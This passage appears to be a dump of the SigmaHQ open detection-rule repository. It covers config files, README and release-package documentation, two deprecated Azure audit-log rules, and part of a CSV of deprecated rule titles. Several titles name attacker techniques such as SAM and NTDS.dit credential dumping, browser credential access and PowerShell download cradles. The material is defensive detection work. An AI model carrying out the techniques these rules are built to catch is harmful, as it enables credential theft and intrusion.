"content": "# Byte-compiled / optimized / DLL files\n__pycache__/\n*.py[cod]\n*$py.class\n\n# C extensions\n*.so\n\n# Distribution / packaging\n.Python\nenv/\nbuild/\ndevelop-eggs/\ndist/\ndownloads/\neggs/\n.eggs/\nlib/\nlib64/\nparts/\nsdist/\nvar/\n*.egg-info/\n.installed.cfg\n*.egg\n\n# PyInstaller\n# Usually these files are written by a python script from a template\n# before PyInstaller builds the exe, so as to inject date/other infos into it.\n*.manifest\n*.spec\n\n# Installer logs\npip-log.txt\npip-delete-this-directory.txt\n\n# Unit test / coverage reports\nhtmlcov/\n.tox/\n.coverage\n.coverage.*\n.cache\nnosetests.xml\ncoverage.xml\n*,cover\n.hypothesis/\n\n# Translations\n*.mo\n*.pot\n\n# Django stuff:\n*.log\nlocal_settings.py\n\n# Flask stuff:\ninstance/\n.webassets-cache\n\n# MacOS Finder\n.DS_Store\n\n# Scrapy stuff:\n.scrapy\n\n# Sphinx documentation\ndocs/_build/\n\n# PyBuilder\ntarget/\n\n# IPython Notebook\n.ipynb_checkpoints\n\n# pyenv\n.python-version\n\n# celery beat schedule file\ncelerybeat-schedule\n\n# dotenv\n.env\n\n# virtualenv\nvenv/\nENV/\n\n# Spyder project settings\n.spyderproject\n\n# Rope project settings\n.ropeproject\n\n# vi(m)\n*.swp\nsettings.json\n\n# VisualStudio\n.vs/\n.vscode/launch.json\n\n# sigma2attack\nheatmap.json\n"
},
{
"path": ".yamllint",
"content": "# https://yamllint.readthedocs.io/en/latest/configuration.html\nextends: default\n\nignore:\n - .github/\n - deprecated/\n - other/godmode_sigma_rule.yml\n - tests/\n - unsupported/\n\nrules:\n comments:\n require-starting-space: true\n min-spaces-from-content: 1\n comments-indentation: disable\n document-start: {present: false}\n empty-lines: {max: 2, max-start: 2, max-end: 2}\n indentation: {spaces: 4, indent-sequences: whatever}\n line-length: disable\n new-line-at-end-of-file: enable\n trailing-spaces: {}\n"
},
{
"path": "CONTRIBUTING.md",
"content": "# Contributing to Sigma 🧙♂️\n\nFirst off, thank you for considering contributing to Sigma! Your help is invaluable in keeping this project up-to-date and useful for the community.\n\nThe following guidelines will help you understand how to contribute effectively.\n\n## 📝 Reporting False Positives Or Proposing New Detection Rule Ideas 🔎\n\nIf you find a false positive or would like to propose a new detection rule idea but do not have the time to create one, please create a new issue on the [GitHub repository](https://github.com/SigmaHQ/sigma/issues/new/choose) by selecting one of the available templates.\n\n## 🛠️ Submitting Pull Requests (PRs)\n\n1. Fork the [SigmaHQ repository](https://github.com/SigmaHQ/sigma) and clone your fork to your local machine.\n\n2. Create a new branch for your changes:\n\n```bash\ngit checkout -b your-feature-branch\n```\n\n3. Make your changes, and test them:\n\n```bash\npython tests/test_logsource.py\npython tests/test_rules.py\n```\n\n4. Once the test is successful, commit the changes to your branch:\n\n```bash\ngit add .\ngit commit -m \"Your commit message\"\n```\n\n5. Push your changes to your fork:\n\n```bash\ngit push origin your-feature-branch\n```\n\n6. Create a new Pull Request (PR) against the upstream repository:\n\n* Go to the [Sigma repository](https://github.com/SigmaHQ/sigma) on GitHub\n* Click the \"New Pull Request\" button\n* Choose your fork and your feature branch\n* Add a clear and descriptive title and a detailed description of your changes\n* Submit the Pull Request\n\n## 📚 Adding or Updating Detection Rules\n\nTo update or contribute a new rule please make sure to follow the guidelines in the [SigmaHQ conventions documents](https://github.com/SigmaHQ/sigma-specification/blob/main/sigmahq). Consider installing the [VsCode Sigma Extension](https://marketplace.visualstudio.com/items?itemName=humpalum.sigma) for auto completion and quality of life features.\n\nThank you for contributing to Sigma! 🧙♂️\n"
},
{
"path": "LICENSE",
"content": "# Licenses\n\nThe content of this repository is released under the following licenses:\n\n- The Sigma specification (https://github.com/SigmaHQ/sigma-specification) and the Sigma logo are public domain\n- The rules contained in the SigmaHQ repository (https://github.com/SigmaHQ) are released under the [Detection Rule License (DRL) 1.1](https://github.com/SigmaHQ/Detection-Rule-License)\n"
},
{
"path": "README.md",
"content": "# Sigma - Generic Signature Format for SIEM Systems\n\n\n\n
\n\n \n ![\"Sigma](\"./images/sigma_logo_light.png\")
\n\n
\n\n
\n\n\n![\"Sigma](\"https://github.com/SigmaHQ/sigma/actions/workflows/sigma-test.yml/badge.svg?branch=master\")
![\"Sigma](\"https://cdn.jsdelivr.net/gh/SigmaHQ/sigmahq.github.io@master/images/Sigma%20Official%20Badge.svg\")
![\"GitHub](\"https://img.shields.io/github/stars/SigmaHQ/sigma\")
\n![\"GitHub](\"https://img.shields.io/github/downloads/SigmaHq/Sigma/total\")
\n
\n\n![\"Open](\"https://opensourcesecurityindex.io/badge.svg\")
\n\n
\n\nWelcome to the Sigma main rule repository. The place where detection engineers, threat hunters and all defensive security practitioners collaborate on detection rules. The repository offers more than 3000 detection rules of different type and aims to make reliable detections accessible to all at no cost.\n\nCurrently the repository offers three types of rules:\n\n* [Generic Detection Rules](./rules/) - Are threat agnostic, their aim is to detect a behavior or an implementation of a technique or procedure that was, can or will be used by a potential threat actor.\n* [Threat Hunting Rules](./rules-threat-hunting/) - Are broader in scope and are meant to give the analyst a starting point to hunt for potential suspicious or malicious activity\n* [Emerging Threat Rules](./rules-emerging-threats/) - Are rules that cover specific threats, that are timely and relevant for certain periods of time. These threats include specific APT campaigns, exploitation of Zero-Day vulnerabilities, specific malware used during an attack,...etc.\n* [Compliance Rules](./rules-compliance/) - Are rules that help you identify compliance violations based on well known security frameworks such as CIS Controls, NIST, ISO 27001,...etc.\n* [Placeholder Rules](./rules-placeholder/) - Are rules that get their final meaning at conversion or usage time of the rule.\n\n## Explore Sigma\n\nTo start exploring the Sigma ecosystem, please visit the official website [sigmahq.io](https://sigmahq.io)\n\n### What is Sigma\n\nSigma is a generic and open signature format that allows you to describe relevant log events in a straightforward manner. The rule format is very flexible, easy to write and applicable to any type of log file.\n\nThe main purpose of this project is to provide a structured form in which researchers or analysts can describe their once developed detection methods and make them shareable with others.\n\nSigma is for log files what [Snort](https://www.snort.org/) is for network traffic and [YARA](https://github.com/VirusTotal/yara) is for files.\n\n\n \n ![\"Sigma](\"./images/Sigma_description_light.png\")
\n\n\n### Why Sigma\n\nToday, everyone collects log data for analysis. People start working on their own, processing numerous white papers, blog posts and log analysis guidelines, extracting the necessary information and build their own searches and dashboard. Some of their searches and correlations are great and very useful but they lack a standardized format in which they can share their work with others.\n\nOthers provide excellent analyses, include IOCs and YARA rules to detect the malicious files and network connections, but have no way to describe a specific or generic detection method in log events. Sigma is meant to be an open standard in which such detection mechanisms can be defined, shared and collected in order to improve the detection capabilities for everyone.\n\n### 🌟 Key Features\n\n* A continuously growing list of detection and hunting rules, peer reviewed by a community of professional Detection Engineers.\n* Vendor agnostic detection rules.\n* Easily shareable across communities and reports\n\n## 🏗️ Rule Creation\n\nTo start writing Sigma rules please check the following high level guide along with the sigma specification:\n\n* [Rule Creation High‐Level Guide]([https://github.com/SigmaHQ/sigma/wiki/Rule-Creation-Guide](https://github.com/SigmaHQ/sigma/wiki/Rule-Creation-High%E2%80%90Level-Guide))\n* [Sigma Specification](https://github.com/SigmaHQ/sigma-specification)\n\n## 🔎 Contributing & Making PRs\n\nPlease refer to the [CONTRIBUTING](./CONTRIBUTING.md) guide for detailed instructions on how you can start contributing new rules.\n\n## 📦 Rule Packages\n\nYou can download the latest rule packages from the [release page](https://github.com/SigmaHQ/sigma/releases/latest) and start leveraging Sigma rules today.\n\n## 🧬 Rule Usage and Conversion\n\n* You can start converting Sigma rules today using [Sigma CLI](https://github.com/SigmaHQ/sigma-cli) or [sigconverter.io](https://sigconverter.io) the GUI interface\n\n* To integrate Sigma rules in your own toolchain or products use [pySigma](https://github.com/SigmaHQ/pySigma).\n\n## 🚨 Reporting False Positives or New Rule Ideas\n\nIf you find a false positive or would like to propose a new detection rule idea but do not have the time to create one, please create a new issue on the [GitHub repository](https://github.com/SigmaHQ/sigma/issues/new/choose) by selecting one of the available templates.\n\n## 📚 Resources & Further Reading\n\n* [Hack.lu 2017 Sigma - Generic Signatures for Log Events by Thomas Patzke](https://www.youtube.com/watch?v=OheVuE9Ifhs)\n* [MITRE ATT&CK® and Sigma Alerting SANS Webcast Recording](https://www.sans.org/webcasts/mitre-att-ck-sigma-alerting-110010 \"MITRE ATT&CK® and Sigma Alerting\")\n* [Sigma - Generic Signatures for SIEM Systems by Florian Roth](https://www.slideshare.net/secret/gvgxeXoKblXRcA)\n\n## Projects or Products that use or integrate Sigma rules\n* [AlphaSOC](https://docs.alphasoc.com/detections_and_findings/sigma_community/) - Leverages Sigma rules to increase coverage across all supported log sources\n* [alterix](https://github.com/mtnmunuklu/alterix) - Converts Sigma rules to the query language of CRYPTTECH's SIEM\n* [AttackIQ](https://www.attackiq.com/2024/01/10/sigmaiq-attackiqs-latest-innovation-for-actionable-detections/) - Sigma Rules integrated in AttackIQ's platform, and [SigmAIQ](https://github.com/AttackIQ/SigmAIQ) for Sigma rule conversion and LLM apps\n* [Atomic Threat Coverage](https://github.com/atc-project/atomic-threat-coverage) (Since December 2018)\n* [AttackRuleMap - Mapping of Atomic Red Team tests and Sigma Rules](https://attackrulemap.com/)\n* [Confluent Sigma](https://github.com/confluentinc/confluent-sigma) - Kafka Streams supported Sigma rules\n* [Detection Studio](https://detection.studio/?ref=sigmahq_readme) - Convert Sigma rules to any supported SIEM.\n* [IBM QRadar](https://community.ibm.com/community/user/security/blogs/gladys-koskas1/2023/08/02/qradar-natively-supports-sigma-for-rules-creation)\n* [Impede Detection Platform](https://impede.ai/)\n* [Joe Sandbox](https://www.joesecurity.org/blog/8225577975210857708)\n* [LimaCharlie](https://limacharlie.io/)\n* [MISP](http://www.misp-project.org/2017/03/26/MISP.2.4.70.released.html) (Since Version 2.4.70, March 2017)\n* [Nextron's Aurora Agent](https://www.nextron-systems.com/aurora/)\n* [Nextron's THOR Scanner](https://www.nextron-systems.com/thor/) - Scan with Sigma rules on endpoints\n* [RANK VASA](https://globenewswire.com/news-release/2019/03/04/1745907/0/en/RANK-Software-to-Help-MSSPs-Scale-Cybersecurity-Offerings.html)\n* [Saeros](https://github.com/Saeros-Security/Saeros)\n* [Security Onion](https://docs.securityonion.net/en/latest/sigma.html)\n* [Sekoia.io XDR](https://www.sekoia.io) - XDR supporting Sigma and Sigma Correlation rules languages\n* [sigma2stix](https://github.com/muchdogesec/sigma2stix) - Converts the entire SigmaHQ Ruleset into STIX 2.1 Objects.\n * A versioned archive of sigma2stix STIX 2.1 data is also available to [download here](https://github.com/muchdogesec/cti_knowledge_base_store/tree/main/sigma-rules).\n* [SIΣGMA](https://github.com/3CORESec/SIEGMA) - SIEM consumable generator that utilizes Sigma for query conversion\n* [SOC Prime](https://my.socprime.com/sigma/)\n* [TA-Sigma-Searches](https://github.com/dstaulcu/TA-Sigma-Searches) (Splunk App)\n* [TimeSketch](https://github.com/google/timesketch/commit/0c6c4b65a6c0f2051d074e87bbb2da2424fa6c35)\n* [ypsilon](https://github.com/P4T12ICK/ypsilon) - Automated Use Case Testing\n\n## 📜 Maintainers\n\n* [Nasreddine Bencherchali (@nas_bench)](https://twitter.com/nas_bench)\n* [Florian Roth (@cyb3rops)](https://twitter.com/cyb3rops)\n* [Christian Burkard (@phantinuss)](https://twitter.com/phantinuss)\n* [François Hubaut (@frack113)](https://twitter.com/frack113)\n* [Thomas Patzke (@blubbfiction)](https://twitter.com/blubbfiction)\n\n## Credits\n\nThis project would've never reached this height without the help of the hundreds of contributors. Thanks to all past and present contributors for their help.\n\n## Licenses\n\nThe content of this repository is released under the [Detection Rule License (DRL) 1.1](https://github.com/SigmaHQ/Detection-Rule-License).\n"
},
{
"path": "Releases.md",
"content": "This following document describes the different types of rule packages provided with every release.\n\n## Package Introduction\n\nThe rule packages provided with every release are split based on the [status](https://github.com/SigmaHQ/sigma-specification/blob/main/Sigma_specification.md#status-optional), [level](https://github.com/SigmaHQ/sigma-specification/blob/main/Sigma_specification.md#level) and [type](https://medium.com/sigma-hq/sigma-rule-repository-enhancements-new-folder-structure-rule-types-30adb70f5e10) of a sigma rule.\n\nThere are currently 3 main rule types provided in the sigma repository:\n\n- **core/generic**: Rules that match on attacker techniques. These rules are timeless and often match on new threats.\n- **emerging-threats/ET**: Rules that match on patterns of specific threat actors or exploits. High signal to noise ratio but will decrease in relevance over time.\n- **threat-hunting/TH**: Rules that should not be run for alerting but are interesting in giving detection ideas or hunt for suspicious activity inside an environment.\n\n### Package Overview\n\nname | status | level | type\n--- | --- | --- | ---\n[Core (Default)](#core-rules) | testing, stable | high, critical | core\n[Core+ (Rule Review needed)](#core-rules-1) | testing, stable | medium, high, critical | core\n[Core++ (Experimental)](#core-rules-2) | experimental, testing, stable | medium, high, critical | core\n[Emerging Threats AddOn Rules](#et-emerging-threats-addon-rules) | experimental, testing, stable | medium, high, critical | emerging threats\n[All rules](#all-rules) | experimental, testing, stable | medium, high, critical | core, emerging threats\n\nIf you are new, best start with the `Core` Sigma package. It includes high quality rules of high confidence and relevance and should not produce many false positives.\n\nIf your setup is working fine, you can add the `emerging threats` rules and start thinking about upgrading to `Core+` rules. If that is not enough and you like the pain, use the \"all\" rules package.\n\n### Defined Package\n\n#### Core Rules\n\nThe `Core` Sigma package includes high quality rules of high confidence and relevance and should not produce many false positives.\n\nThe selected rules are of level `high` or `critical`, which means matches are of high or critical importance. The rule status is `testing` or `stable`, which means the rule is at least of an age of half a year and no false positives were reported on it.\n\nThe type is `core`, meaning the rules will match on attacker technique and generic suspicious or malicious behavior.\n\n#### Core+ Rules\n\nThe plus in the `Core+` Sigma package stands for the addition of `medium` level rules. Those rules most often need additional tuning as certain applications, legitimate user behavior or scripts of an organization might be matched. Not every `medium` level rule is useful in every organization.\n\n#### Core++ Rules\n\nThe `Core++` package additionally includes the rules of `experimental` status. These rules are bleeding edge. They are validated against the Goodlog tests available to the SigmaHQ project and reviewed by multiple detection engineers. Other than that they are pretty much untested at first. Use these if you want to be able to detect threats as early as possible at the cost of managing a higher threshold of false positives.\n\nPlease report any false positives you find in the wild via our [github issue tracker](https://github.com/SigmaHQ/sigma/issues/new?assignees=&labels=False-Positive&projects=&template=false_positive_report.yml). After a grace period all `experimental` rules will eventually be promoted to status `test`.\n\n### Package AddOn's\n\n#### ET (Emerging Threats) AddOn Rules\n\nThe `ET AddOn` Sigma package contains all of the `emerging threats` rules. These rules have a low false positive rate so that it already contains rules of status `experimental`. These rules target specific threats and are especially useful for current threats where maybe not much information is yet available. So we want to get them to you as fast as possible. The package is an `AddOn` so you can use it on top of whichever `Core` package is most useful to you.\n\n### All Rules\n\n> **Note**\n>\n> This package doesn't contain all rules\n\nThis package includes all rules from level `medium` with a status of `experimental` and upwards including the `emerging threats` rules. Some heavy tuning is required when using this package.\n\nYou'll notice that rules of level `low` and some other are omitted even from this the `All Rules` package. We do not recommend using any other types of rules to generate alerts except for those provided in these packages.\n\n### Create Your Own Custom Rule Package\n\nReleases are tagged using the format `r` (e.g. `r2023-12-24`).\n\nYou can checkout any release version and create your own package using the [sigma-package-release](tests/sigma-package-release.py) script. Define the `status`, `level` and `type` of rules and the script generates a ZIP archive containing only those rules.\n\ne.g.\n\n```bash\n# python3 tests/sigma-package-release.py --min-status testing --levels high critical --types generic --outfile Sigma-custom.zip\n```\n\nYou can either give `level` and `status` as a space separated list or using a minimum value. See `--help` for all options\n"
},
{
"path": "deprecated/README.md",
"content": "# Deprecated folder\r\n\r\nThis folder contains all rules that have been marked as deprecated.\r\n\r\nIt is recommended to avoid using these rules, as they are no longer maintained or supported.\r\n\r\nFor a summary of the deprecated rules, refer to [deprecated.csv](./deprecated.csv) or [deprecated.json](./deprecated.json)\r\n\r\n\r\n# references\r\n\r\nhttps://github.com/SigmaHQ/sigma-specification/blob/main/specification/sigma-rules-specification.md#status"
},
{
"path": "deprecated/cloud/azure_app_credential_modification.yml",
"content": "title: Azure Application Credential Modified\nid: cdeef967-f9a1-4375-90ee-6978c5f23974\nstatus: deprecated\ndescription: Identifies when a application credential is modified.\nreferences:\n - https://www.cloud-architekt.net/auditing-of-msi-and-service-principals/\nauthor: Austin Songer @austinsonger\ndate: 2021-09-02\nmodified: 2025-10-17\ntags:\n - attack.impact\nlogsource:\n product: azure\n service: activitylogs\ndetection:\n selection:\n properties.message: 'Update application – Certificates and secrets management'\n condition: selection\nfalsepositives:\n - Application credential added may be performed by a system administrator.\n - Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.\n - Application credential added from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule.\nlevel: medium\n"
},
{
"path": "deprecated/cloud/azure_app_permissions_for_api.yml",
"content": "title: App Permissions Granted For Other APIs\nid: ba2a7c80-027b-460f-92e2-57d113897dbc\nstatus: deprecated\ndescription: Detects when app permissions (app roles) for other APIs are granted\nreferences:\n - https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-applications#application-granted-highly-privileged-permissions\nauthor: Bailey Bercik '@baileybercik', Mark Morowczynski '@markmorow'\ndate: 2022/07/28\nmodified: 2023/03/29\ntags:\n - attack.privilege_escalation\nlogsource:\n product: azure\n service: auditlogs\ndetection:\n selection:\n properties.message: Add app role assignment to service principal\n condition: selection\nfalsepositives:\n - When the permission is legitimately needed for the app\nlevel: medium\n"
},
{
"path": "deprecated/deprecated.csv",
"content": "id,title,date,modified,level\n867613fb-fa60-4497-a017-a82df74a172c,PowerShell Execution,2019-09-12,2021-11-05,medium\n0d894093-71bc-43c3-8c4d-ecfc28dcf5d9,Mimikatz Detection LSASS Access,2017-10-18,2022-04-11,high\n3d304fda-78aa-43ed-975c-d740798a49c1,Suspicious PowerShell Invocations - Generic,2017-03-12,2022-04-11,high\n56a8189f-11b2-48c8-8ca7-c54b03c2fbf7,Suspicious Esentutl Use,2020-05-23,2022-04-11,high\n65531a81-a694-4e31-ae04-f8ba5bc33759,Suspicious PowerShell Download,2017-03-05,2022-04-11,medium\n9f7aa113-9da6-4a8d-907c-5f1a4b908299,SyncAppvPublishingServer Execution to Bypass Powershell Restriction,2020-10-05,2022-04-11,medium\na0d63692-a531-4912-ad39-4393325b2a9c,RClone Execution,2021-05-10,2022-04-11,high\nb932b60f-fdda-4d53-8eda-a170c1d97bbd,Activity Related to NTDS.dit Domain Hash Retrieval,2019-01-16,2022-04-11,high\ncb7286ba-f207-44ab-b9e6-760d82b84253,Rclone Execution via Command Line or PowerShell,2021-05-26,2022-04-11,high\nfde7929d-8beb-4a4c-b922-be9974671667,SyncAppvPublishingServer Execution to Bypass Powershell Restriction,2020-10-05,2022-04-11,medium\n17f878b8-9968-4578-b814-c4217fc5768c,Autorun Keys Modification,2019-10-25,2022-05-14,medium\n29d31aee-30f4-4006-85a9-a4a02d65306c,Lateral Movement Indicator ConDrv,2021-04-27,2022-05-14,low\n98f4c75c-3089-44f3-b733-b327b9cd9c9d,Accessing Encrypted Credentials from Google Chrome Login Database,2021-12-20,2022-05-14,medium\na457f232-7df9-491d-898f-b5aabd2cbe2f,Windows Management Instrumentation DLL Loaded Via Microsoft Word,2019-12-26,2022-05-14,informational\ndb2110f3-479d-42a6-94fb-d35bc1e46492,CreateMiniDump Hacktool,2019-12-22,2022-05-14,high\n2621b3a6-3840-4810-ac14-a02426086171,Winword.exe Loads Suspicious DLL,2020-10-09,2022-07-25,medium\nbf6c39fc-e203-45b9-9538-05397c1b4f3f,Abusing Findstr for Defense Evasion,2020-10-05,2022-10-12,medium\n82a19e3a-2bfe-4a91-8c0d-5d4c98fbb719,Possible Applocker Bypass,2019-01-16,2022-11-03,low\ndca91cfd-d7ab-4c66-8da7-ee57d487b35b,Process Start From Suspicious Folder,2022-02-11,2022-11-03,low\n53c7cca0-2901-493a-95db-d00d6fcf0a37,Brute Force,2019-10-25,2022-11-04,medium\n5f113a8f-8b61-41ca-b90f-d374fa7e4a39,Suspicious In-Memory Module Execution,2019-10-27,2022-11-17,low\nf67dbfce-93bc-440d-86ad-a95ae8858c90,Suspicious Bitsadmin Job via PowerShell,2018-10-30,2022-11-21,high\n9d1c72f5-43f0-4da5-9320-648cf2099dd0,Excel Proxy Executing Regsvr32 With Payload,2021-08-23,2022-12-02,high\nc0e1c3d5-4381-4f18-8145-2583f06a1fe5,Excel Proxy Executing Regsvr32 With Payload Alternate,2021-08-23,2022-12-02,high\n72671447-4352-4413-bb91-b85569687135,Nslookup PwSh Download Cradle,2022-09-06,2022-12-14,medium\n3f07b9d1-2082-4c56-9277-613a621983cc,Accessing WinAPI in PowerShell for Credentials Dumping,2020-10-06,2022-12-18,high\ne554f142-5cf3-4e55-ace9-a1b59e0def65,DCOM InternetExplorer.Application Iertutil DLL Hijack - Sysmon,2020-10-12,2022-12-18,critical\n17eb8e57-9983-420d-ad8a-2c4976c22eb8,MavInject Process Injection,2018-12-12,2022-12-19,high\n36c5146c-d127-4f85-8e21-01bf62355d5a,Invoke-Obfuscation Via Use Rundll32,2019-10-08,2022-12-30,high\n6d3f1399-a81c-4409-aff3-1ecfe9330baf,PrintNightmare Powershell Exploitation,2021-08-09,2023-01-02,high\n83083ac6-1816-4e76-97d7-59af9a9ae46e,AzureHound PowerShell Commands,2021-10-23,2023-01-02,high\na85cf4e3-56ee-4e79-adeb-789f8fb209a8,Indirect Command Exectuion via Forfiles,2022-10-17,2023-01-04,medium\nfa47597e-90e9-41cd-ab72-c3b74cfb0d02,Indirect Command Execution,2019-10-24,2023-01-04,low\ne4b63079-6198-405c-abd7-3fe8b0ce3263,Suspicious CLR Logs Creation,2020-10-12,2023-01-05,high\ncd5c8085-4070-4e22-908d-a5b3342deb74,Suspicious Bitstransfer via PowerShell,2021-08-19,2023-01-10,medium\nd178a2d7-129a-4ba4-8ee6-d6e1fecd5d20,Renamed PowerShell,2019-08-22,2023-01-18,high\nd4d2574f-ac17-4d9e-b986-aeeae0dc8fe2,Renamed Rundll32.exe Execution,2022-06-08,2023-01-18,high\ne31f89f7-36fb-4697-8ab6-48823708353b,Suspicious Cmd Execution via WMI,2022-09-27,2023-01-19,medium\nbf7286e7-c0be-460b-a7e8-5b2e07ecc2f2,Netcat The Powershell Version - PowerShell Module,2021-07-21,2023-01-20,medium\n47688f1b-9f51-4656-b013-3cc49a166a36,Base64 Encoded Listing of Shadowcopy,2022-03-01,2023-01-30,high\n5b572dcf-254b-425c-a8c5-d9af6bea35a6,Potential Xor Encoded PowerShell Command,2022-07-06,2023-01-30,medium\nfd6e2919-3936-40c9-99db-0aa922c356f7,Malicious Base64 Encoded Powershell Invoke Cmdlets,2022-05-31,2023-01-30,high\neeb66bbb-3dde-4582-815a-584aee9fe6d1,Correct Execution of Nltest.exe,2021-10-04,2023-02-02,high\n0acaad27-9f02-4136-a243-c357202edd74,Ryuk Ransomware Command Line Activity,2019-08-06,2023-02-03,critical\n4f927692-68b5-4267-871b-073c45f4f6fe,PowerShell AMSI Bypass Pattern,2022-11-04,2023-02-03,high\n038cd51c-3ad8-41c5-ba8f-5d1c92f3cc1e,Registry Dump of SAM Creds and Secrets,2022-01-05,2023-02-04,high\n04f5363a-6bca-42ff-be70-0d28bf629ead,Office Applications Spawning Wmi Cli Alternate,2021-08-23,2023-02-04,high\n23daeb52-e6eb-493c-8607-c4f0246cb7d8,New Lolbin Process by Office Applications,2021-08-23,2023-02-04,high\n518643ba-7d9c-4fa5-9f37-baed36059f6a,WMI Execution Via Office Process,2021-08-23,2023-02-04,medium\n77815820-246c-47b8-9741-e0def3f57308,Domain Trust Discovery,2019-10-23,2023-02-04,medium\n4d6c9da1-318b-4edf-bcea-b6c93fa98fd0,Credential Acquisition via Registry Hive Dumping,2022-10-04,2023-02-06,high\n6545ce61-a1bd-4119-b9be-fcbee42c0cf3,Execute MSDT.EXE Using Diagcab File,2022-06-09,2023-02-06,high\n9841b233-8df8-4ad7-9133-b0b4402a9014,Sysinternals SDelete Registry Keys,2020-05-02,2023-02-07,medium\n09af397b-c5eb-4811-b2bb-08b3de464ebf,WMI Reconnaissance List Remote Services,2022-01-01,2023-02-14,medium\n7b0666ad-3e38-4e3d-9bab-78b06de85f7b,Renamed PaExec Execution,2019-04-17,2023-02-14,medium\nbc3cc333-48b9-467a-9d1f-d44ee594ef48,SCM DLL Sideload,2022-12-01,2023-02-14,medium\ne42af9df-d90b-4306-b7fb-05c863847ebd,WMI Remote Command Execution,2022-03-13,2023-02-14,medium\nfa4b21c9-0057-4493-b289-2556416ae4d7,Squirrel Lolbin,2019-11-12,2023-02-14,medium\ne011a729-98a6-4139-b5c4-bf6f6dd8239a,Suspicious Certutil Command Usage,2019-01-16,2023-02-15,high\n034affe8-6170-11ec-844f-0f78aa0c4d66,Mimikatz MemSSP Default Log File Creation,2021-12-20,2023-02-16,critical\n7fe71fc9-de3b-432a-8d57-8c809efc10ab,New Service Creation,2019-10-21,2023-02-20,low\n056a7ee1-4853-4e67-86a0-3fd9ceed7555,Invoke-Obfuscation RUNDLL LAUNCHER,2020-10-18,2023-02-21,medium\n3ede524d-21cc-472d-a3ce-d21b568d8db7,PsExec Service Start,2018-03-13,2023-02-28,low\n80167ada-7a12-41ed-b8e9-aa47195c66a1,Run Whoami as SYSTEM,2019-10-23,2023-02-28,high\nfa91cc36-24c9-41ce-b3c8-3bbc3f2f67ba,PsExec Tool Execution,2017-06-12,2023-02-28,low\n2c0d2d7b-30d6-4d14-9751-7b9113042ab9,Suspicious Characters in CommandLine,2022-04-27,2023-03-03,high\n6783aa9e-0dc3-49d4-a94a-8b39c5fd700b,Stop Or Remove Antivirus Service,2021-07-07,2023-03-04,high\n7fd4bb39-12d0-45ab-bb36-cebabc73dc7b,Suspicious Execution of Sc to Delete AV Services,2022-08-01,2023-03-04,high\na7a7e0e5-1d57-49df-9c58-9fe5bc0346a2,Renamed PsExec,2019-05-21,2023-03-04,high\n1a70042a-6622-4a2b-8958-267625349abf,Run from a Zip File,2021-12-26,2023-03-05,medium\n46591fae-7a4c-46ea-aec3-dff5e6d785dc,Root Certificate Installed,2020-10-10,2023-03-05,medium\neb87818d-db5d-49cc-a987-d5da331fbd90,Stop Windows Service,2019-10-23,2023-03-05,low\n23250293-eed5-4c39-b57a-841c8933a57d,Visual Basic Script Execution,2022-01-02,2023-03-06,medium\n344482e4-a477-436c-aa70-7536d18a48c7,Execution via MSSQL Xp_cmdshell Stored Procedure,2022-09-28,2023-03-06,high\n00a4bacd-6db4-46d5-9258-a7d5ebff4003,Read and Execute a File Via Cmd.exe,2022-08-20,2023-03-07,medium\n70e68156-6571-427b-a6e9-4476a173a9b6,Cmd Stream Redirection,2022-02-04,2023-03-07,medium\n033fe7d6-66d1-4240-ac6b-28908009c71f,APT29,2018-12-04,2023-03-08,high\n04d9079e-3905-4b70-ad37-6bdf11304965,CrackMapExecWin,2018-04-08,2023-03-08,critical\n18739897-21b1-41da-8ee4-5b786915a676,GALLIUM Artefacts,2020-02-07,2023-03-09,high\n0eb2107b-a596-422e-b123-b389d5594ed7,Hurricane Panda Activity,2019-03-04,2023-03-10,high\n4a12fa47-c735-4032-a214-6fab5b120670,Lazarus Activity Apr21,2021-04-20,2023-03-10,high\n7454df60-1478-484b-810d-bff5d0ba6d4b,DNS Tunnel Technique from MuddyWater,2020-06-04,2023-03-10,critical\n7b49c990-4a9a-4e65-ba95-47c9cc448f6e,Lazarus Loaders,2020-12-23,2023-03-10,critical\n43f487f0-755f-4c2a-bce7-d6d2eec2fcf8,Suspicious Add Scheduled Task From User AppData Temp,2021-11-03,2023-03-14,high\nd813d662-785b-42ca-8b4a-f7457d78d5a9,Suspicious Load of Advapi31.dll,2022-02-03,2023-03-15,informational\ne74e15cc-c4b6-4c80-b7eb-dfe49feb7fe9,Edit of .bash_profile and .bashrc,2019-05-12,2023-03-23,medium\nba2a7c80-027b-460f-92e2-57d113897dbc,App Permissions Granted For Other APIs,2022-07-28,2023-03-29,medium\n18cf6cf0-39b0-4c22-9593-e244bdc9a2d4,TA505 Dropper Load Pattern,2020-12-08,2023-04-05,critical\n2d117e49-e626-4c7c-bd1f-c3c0147774c8,Potential PowerShell Base64 Encoded Shellcode,2018-11-17,2023-04-06,medium\n635dbb88-67b3-4b41-9ea5-a3af2dd88153,Microsoft Binary Github Communication,2017-08-24,2023-04-18,high\n6c939dfa-c710-4e12-a4dd-47e1f10e68e1,Domestic Kitten FurBall Malware Pattern,2021-02-08,2023-04-20,high\n6355a919-2e97-4285-a673-74645566340d,Process Memory Dumped Via RdrLeakDiag.EXE,2022-01-04,2023-04-24,high\n9cf01b6c-e723-4841-a868-6d7f8245ca6e,Group Modification Logging,2019-03-26,2023-04-26,low\n410ad193-a728-4107-bc79-4419789fcbf8,Trickbot Malware Reconnaissance Activity,2019-12-28,2023-04-28,high\nfce5f582-cc00-41e1-941a-c6fabf0fdb8c,Suspicious PowerShell Invocations - Specific,2017-03-05,2023-05-04,high\nf016c716-754a-467f-a39e-63c06f773987,Suspicious Remote Thread Target,2022-08-25,2023-05-05,medium\n65d2be45-8600-4042-b4c0-577a1ff8a60e,Application Whitelisting Bypass via DLL Loaded by odbcconf.exe,2019-10-25,2023-05-22,medium\n8e2b24c9-4add-46a0-b4bb-0057b4e6187d,Regsvr32 Anomaly,2019-01-16,2023-05-26,high\nfe6e002f-f244-4278-9263-20e4b593827f,Alternate PowerShell Hosts - Image,2019-09-12,2023-06-01,low\n9e77ed63-2ecf-4c7b-b09d-640834882028,PsExec Pipes Artifacts,2020-05-10,2023-08-07,medium\n39776c99-1c7b-4ba0-b5aa-641525eee1a4,Execution via CL_Mutexverifiers.ps1,2020-10-14,2023-08-17,high\n4cd29327-685a-460e-9dac-c3ab96e549dc,Execution via CL_Invocation.ps1 - Powershell,2020-10-14,2023-08-17,high\n4e8d5fd3-c959-441f-a941-f73d0cdcdca5,Abusing Windows Telemetry For Persistence - 